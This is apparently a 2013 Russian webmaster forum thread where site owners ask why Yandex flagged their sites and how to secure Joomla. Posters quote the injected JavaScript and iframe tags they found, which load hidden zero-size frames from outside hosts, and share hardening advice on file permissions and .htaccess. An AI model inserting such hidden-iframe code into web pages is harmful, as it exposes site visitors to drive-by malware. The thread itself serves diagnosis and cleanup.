Яндекс нашел вирус на сайте

Фрейм у вас с вирусом.

---------- Добавлено 06.08.2013 в 18:02 ----------

На 245 +- строчке - это ваш код?

это код партнерки ред клик

нашел код

var if9KRu = document.createElement('iframe');if9KRu.name = 'if9KRu';if9KRu.src = 'http://*.la*tye.com/';if9KRu.style.width = '0px';if9KRu.style.height = '0px';window.onload = function() {if (document.cookie.indexOf('if9KRu=') == -1) {document.cookie = 'if9KRu=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT';document.getElementsByTagName('body')[0].appendChild(if9KRu);}};

это он?

тоже на эту партнерку яша матерился - убрал...

это из-за нее получается. У тебя также был в панели вебмастера "поведенческий анализ"?

кроме удаления партнерки ни как не исправить?

---------- Добавлено 06.08.2013 в 17:10 ----------

TF-Studio, удалил строку с фреймом в папке шаблона. Подскажите есть ли еще вредоносный код?

после ее удаления все стало хорошо

не подскажите какие права ставить на файлы и папки джумла для предотвращения несанкционированного доступа?

вообще рекомендуется, не только на джулу\не джумлу - на папки 755 на файлы 644 (которые используются и выполняются)

спасибо, все также стоят. Можете объяснить как реализовать следующее:

"все директории, в которые производится загрузка файлов или кэширование - делаем read-write и кладем в них волшебный .htaccess, который либо делает

deny from all

либо запрещает вызов php

Options -Indexes

php_flag engine 0

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml

AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml "

Такая же фигня сегодня с яндексом.

На сайте только тизеры от adlabs.

Посмотрите сайт xodbox.ru От кода партнерки такая шняга? Почему тогда за полтора года ни разу не было с ней проблем?

у меня тоже такой фрейм(

<iframe name="ifn2i8N" src="http://asnem.listen-it.com/" style="width: 0px; height: 0px;"/>

в папках шаблона я его особо не нашёл. как он мог попасть на сайта? пароли постоянно меняю(параноя), админку врядли могли взломать, так как там фишка есть одна, я бы сразу заметил. может через хостера? хостинг ********.net, на всех сайтах что у них, появились эти говнючие фреймы.

---------- Добавлено 07.08.2013 в 09:20 ----------

хостинг: хостлайф